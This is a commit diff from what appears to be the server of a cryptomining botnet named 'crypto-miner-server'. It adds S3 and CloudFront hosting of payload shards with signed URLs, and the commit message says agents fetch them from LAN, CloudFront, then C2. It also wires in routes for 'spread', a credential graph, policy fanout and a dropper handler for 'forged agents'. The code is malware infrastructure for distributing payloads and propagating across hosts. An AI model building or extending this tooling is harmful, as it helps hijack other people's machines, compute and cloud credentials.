Add S3 erasure swarm with CloudFront signed magnets.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Operators configure bucket and CloudFront domain with env credentials; deploy plans upload RS 4+2 shards and attach signed edge URLs to BGP swarm magnets. Agents fetch LAN, CloudFront, then C2. Forge panel adds test and IAM policy JSON.
This commit is contained in:
@@ -13,8 +13,8 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/cloudmap"
|
||||
"crypto-miner-server/internal/db"
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/cloudmap"
|
||||
"crypto-miner-server/internal/erasure"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/spreadrouter"
|
||||
@@ -278,6 +278,7 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
|
||||
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
|
||||
}
|
||||
body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane)
|
||||
h.attachCloudMapRouteVia(&body)
|
||||
if err := h.attachErasurePlan(req, serverURL, &body); err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
@@ -844,3 +845,49 @@ func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret strin
|
||||
expected := hex.EncodeToString(mac.Sum(nil))
|
||||
return hmac.Equal([]byte(expected), []byte(signature))
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) cloudMapSettings() (namespace, service string) {
|
||||
namespace = "prod.local"
|
||||
service = "seeder"
|
||||
if h.dataDir == "" {
|
||||
return namespace, service
|
||||
}
|
||||
cfgPath := filepath.Join(h.dataDir, "config.json")
|
||||
data, err := os.ReadFile(cfgPath)
|
||||
if err != nil {
|
||||
return namespace, service
|
||||
}
|
||||
var payload struct {
|
||||
Server struct {
|
||||
CloudMapNamespace string `json:"cloud_map_namespace"`
|
||||
CloudMapService string `json:"cloud_map_service"`
|
||||
} `json:"server"`
|
||||
}
|
||||
if json.Unmarshal(data, &payload) != nil {
|
||||
return namespace, service
|
||||
}
|
||||
if ns := strings.TrimSpace(payload.Server.CloudMapNamespace); ns != "" {
|
||||
namespace = ns
|
||||
}
|
||||
if svc := strings.TrimSpace(payload.Server.CloudMapService); svc != "" {
|
||||
service = svc
|
||||
}
|
||||
return namespace, service
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) attachCloudMapRouteVia(body *DeployPlanBody) {
|
||||
if body == nil {
|
||||
return
|
||||
}
|
||||
ns, svc := h.cloudMapSettings()
|
||||
routeVia := cloudmap.SeederDNSName(svc, ns)
|
||||
if routeVia == "" {
|
||||
return
|
||||
}
|
||||
if body.SpreadRouteHint == nil {
|
||||
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
|
||||
}
|
||||
if strings.TrimSpace(body.SpreadRouteHint.RouteVia) == "" {
|
||||
body.SpreadRouteHint.RouteVia = routeVia
|
||||
}
|
||||
}
|
||||
|
||||
42
server/internal/api/deploy_plan_s3_swarm_test.go
Normal file
42
server/internal/api/deploy_plan_s3_swarm_test.go
Normal file
@@ -0,0 +1,42 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"crypto/rsa"
|
||||
"crypto/x509"
|
||||
"encoding/pem"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/erasure"
|
||||
)
|
||||
|
||||
type s3Up struct{ n int }
|
||||
|
||||
func (u *s3Up) PutShard(context.Context, string, string, []byte) error { u.n++; return nil }
|
||||
func (u *s3Up) HeadBucket(context.Context, string) error { return nil }
|
||||
|
||||
func TestAttachErasurePlanUploadsS3Swarm(t *testing.T) {
|
||||
priv, _ := rsa.GenerateKey(rand.Reader, 2048)
|
||||
pemBytes := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)})
|
||||
u := &s3Up{}
|
||||
h := testDeployPlanHandler(t)
|
||||
store := erasure.NewShardStore()
|
||||
h.BindErasure(func() bool { return true }, store)
|
||||
h.BindAWSErasureSwarm(func() erasure.AWSSwarmSettings {
|
||||
return erasure.HydrateAWSSwarmFromEnv(erasure.AWSSwarmSettings{
|
||||
S3Bucket: "b", CloudFrontDomain: "d.cf.net", Region: "us-east-1",
|
||||
AccessKeyID: "A", SecretAccessKey: "s", KeyPairID: "K", PrivateKeyPEM: string(pemBytes),
|
||||
})
|
||||
}, func(erasure.AWSSwarmSettings) erasure.ShardObjectStore { return u })
|
||||
plan, err := h.buildPlan(deployPlanRequest{Platform: "windows", BuildID: "b1"}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
|
||||
if err != nil {
|
||||
t.Fatalf("buildPlan: %v", err)
|
||||
}
|
||||
if plan.ErasurePlan == nil {
|
||||
t.Fatalf("missing erasure plan n=%d", u.n)
|
||||
}
|
||||
if u.n != 6 || plan.ErasurePlan.Shards[0].EdgeURL == "" {
|
||||
t.Fatalf("n=%d edge=%q", u.n, plan.ErasurePlan.Shards[0].EdgeURL)
|
||||
}
|
||||
}
|
||||
95
server/internal/api/erasure_swarm.go
Normal file
95
server/internal/api/erasure_swarm.go
Normal file
@@ -0,0 +1,95 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/erasure"
|
||||
)
|
||||
|
||||
type ErasureSwarmHandler struct {
|
||||
awsSettings func() erasure.AWSSwarmSettings
|
||||
objectStore func() erasure.ShardObjectStore
|
||||
}
|
||||
|
||||
func NewErasureSwarmHandler(awsSettings func() erasure.AWSSwarmSettings, objectStore func() erasure.ShardObjectStore) *ErasureSwarmHandler {
|
||||
return &ErasureSwarmHandler{awsSettings: awsSettings, objectStore: objectStore}
|
||||
}
|
||||
|
||||
type erasureSwarmTestResponse struct {
|
||||
OK bool `json:"ok"`
|
||||
CredentialsReady bool `json:"credentials_ready"`
|
||||
SigningReady bool `json:"signing_ready"`
|
||||
Error string `json:"error,omitempty"`
|
||||
S3Bucket string `json:"s3_bucket,omitempty"`
|
||||
CloudFrontDomain string `json:"cloudfront_domain,omitempty"`
|
||||
}
|
||||
|
||||
func (h *ErasureSwarmHandler) PostTest(w http.ResponseWriter, r *http.Request) {
|
||||
cfg := h.cfg(r)
|
||||
resp := erasureSwarmTestResponse{S3Bucket: cfg.S3Bucket, CloudFrontDomain: cfg.CloudFrontDomain, CredentialsReady: cfg.CredentialsReady(), SigningReady: cfg.SigningReady()}
|
||||
if !cfg.Enabled() {
|
||||
resp.Error = "set aws_s3_shard_bucket and aws_cloudfront_domain"
|
||||
writeJSON(w, resp)
|
||||
return
|
||||
}
|
||||
if !cfg.CredentialsReady() {
|
||||
resp.Error = "set AF_AWS_ACCESS_KEY_ID and AF_AWS_SECRET_ACCESS_KEY"
|
||||
writeJSON(w, resp)
|
||||
return
|
||||
}
|
||||
if err := h.store().HeadBucket(r.Context(), cfg.S3Bucket); err != nil {
|
||||
resp.Error = err.Error()
|
||||
writeJSON(w, resp)
|
||||
return
|
||||
}
|
||||
resp.OK = true
|
||||
writeJSON(w, resp)
|
||||
}
|
||||
|
||||
func (h *ErasureSwarmHandler) GetPolicyJSON(w http.ResponseWriter, r *http.Request) {
|
||||
cfg := h.cfg(r)
|
||||
bucket := strings.TrimSpace(r.URL.Query().Get("bucket"))
|
||||
if bucket == "" {
|
||||
bucket = cfg.S3Bucket
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"iam_policy": erasure.MinimalIAMPolicyJSON(bucket),
|
||||
"bucket_policy": erasure.MinimalBucketPolicyJSON(bucket, r.URL.Query().Get("cloudfront_arn")),
|
||||
"env_keys": []string{"AF_AWS_ACCESS_KEY_ID", "AF_AWS_SECRET_ACCESS_KEY", "AF_AWS_REGION", "AF_CLOUDFRONT_KEY_PAIR_ID", "AF_CLOUDFRONT_PRIVATE_KEY"},
|
||||
})
|
||||
}
|
||||
|
||||
func (h *ErasureSwarmHandler) cfg(r *http.Request) erasure.AWSSwarmSettings {
|
||||
cfg := erasure.AWSSwarmSettings{}
|
||||
if h != nil && h.awsSettings != nil {
|
||||
cfg = h.awsSettings()
|
||||
}
|
||||
if r != nil && r.Method == http.MethodPost {
|
||||
var body struct {
|
||||
S3Bucket string `json:"s3_bucket"`
|
||||
CloudFrontDomain string `json:"cloudfront_domain"`
|
||||
}
|
||||
if json.NewDecoder(r.Body).Decode(&body) == nil {
|
||||
if v := strings.TrimSpace(body.S3Bucket); v != "" {
|
||||
cfg.S3Bucket = v
|
||||
}
|
||||
if v := strings.TrimSpace(body.CloudFrontDomain); v != "" {
|
||||
cfg.CloudFrontDomain = v
|
||||
}
|
||||
}
|
||||
}
|
||||
return erasure.HydrateAWSSwarmFromEnv(cfg)
|
||||
}
|
||||
|
||||
func (h *ErasureSwarmHandler) store() erasure.ShardObjectStore {
|
||||
if h != nil && h.objectStore != nil {
|
||||
return h.objectStore()
|
||||
}
|
||||
cfg := erasure.AWSSwarmSettings{}
|
||||
if h != nil && h.awsSettings != nil {
|
||||
cfg = erasure.HydrateAWSSwarmFromEnv(h.awsSettings())
|
||||
}
|
||||
return &erasure.S3HTTPStore{Settings: cfg}
|
||||
}
|
||||
34
server/internal/api/erasure_swarm_test.go
Normal file
34
server/internal/api/erasure_swarm_test.go
Normal file
@@ -0,0 +1,34 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/erasure"
|
||||
)
|
||||
|
||||
type okStore struct{}
|
||||
|
||||
func (okStore) PutShard(context.Context, string, string, []byte) error { return nil }
|
||||
func (okStore) HeadBucket(context.Context, string) error { return nil }
|
||||
|
||||
func TestErasureSwarmPostTestOK(t *testing.T) {
|
||||
os.Setenv("AF_AWS_ACCESS_KEY_ID", "A")
|
||||
os.Setenv("AF_AWS_SECRET_ACCESS_KEY", "s")
|
||||
defer os.Unsetenv("AF_AWS_ACCESS_KEY_ID")
|
||||
defer os.Unsetenv("AF_AWS_SECRET_ACCESS_KEY")
|
||||
h := NewErasureSwarmHandler(func() erasure.AWSSwarmSettings {
|
||||
return erasure.AWSSwarmSettings{S3Bucket: "b", CloudFrontDomain: "d.cf.net"}
|
||||
}, func() erasure.ShardObjectStore { return okStore{} })
|
||||
rec := httptest.NewRecorder()
|
||||
h.PostTest(rec, httptest.NewRequest(http.MethodPost, "/", nil))
|
||||
var body erasureSwarmTestResponse
|
||||
_ = json.NewDecoder(rec.Body).Decode(&body)
|
||||
if !body.OK {
|
||||
t.Fatalf("%+v", body)
|
||||
}
|
||||
}
|
||||
@@ -93,7 +93,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
||||
|
||||
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
||||
fleetAIHandler := NewFleetAIHandler(cfg, database)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
||||
}
|
||||
|
||||
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
||||
@@ -170,7 +170,7 @@ func newFusionTestRouter(t *testing.T, projectRoot string) (http.Handler, *WSHub
|
||||
|
||||
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
||||
fleetAIHandler := NewFleetAIHandler(cfg, database)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
||||
}
|
||||
|
||||
func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) {
|
||||
|
||||
@@ -662,6 +662,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/spread/aws-s3-crr-template", spreadHandler.GetS3CRRTemplate)
|
||||
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
|
||||
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
|
||||
r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout)
|
||||
r.Post("/spread/policy-fanout-export", spreadHandler.ExportPolicyFanout)
|
||||
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
|
||||
}
|
||||
if wsHub != nil {
|
||||
@@ -785,6 +787,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
|
||||
r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest)
|
||||
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
|
||||
r.Get("/public/policy-snapshot/{token}", publicHandler.PolicySnapshot)
|
||||
}
|
||||
if spreadHandler != nil {
|
||||
r.Get("/public/fargate-burst/task-definition.json", spreadHandler.FargateBurstTaskDefinition)
|
||||
|
||||
@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
|
||||
dlURL := "/api/v1/builds/" + buildID + "/download"
|
||||
|
||||
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
|
||||
@@ -27,6 +27,8 @@ type SpreadHandler struct {
|
||||
erasureShards *erasure.ShardStore
|
||||
deployPlan *DeployPlanHandler
|
||||
s3CRRConfigFn func() erasure.S3ShardConfig
|
||||
policyPathTracer *PathTracerHandler
|
||||
policyFanoutCfgFn func() PolicyFanoutConfig
|
||||
notesMu sync.RWMutex
|
||||
}
|
||||
|
||||
|
||||
@@ -182,6 +182,9 @@ type WSHub struct {
|
||||
fargateBurstCampaign bool
|
||||
fargateBurstExpiresAt time.Time
|
||||
fargateBurstTTLHours int
|
||||
policySnapshotToken string
|
||||
policyEventBridgeRelayURL string
|
||||
policyPublicBaseURL func() string
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
eventNotifier *alerts.Notifier
|
||||
@@ -976,6 +979,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
spreadPolicy[k] = v
|
||||
}
|
||||
}
|
||||
if fanout := h.policyFanoutSpreadFields(); fanout != nil {
|
||||
for k, v := range fanout {
|
||||
spreadPolicy[k] = v
|
||||
}
|
||||
}
|
||||
if len(spreadPolicy) > 0 {
|
||||
resp["spread_policy"] = spreadPolicy
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user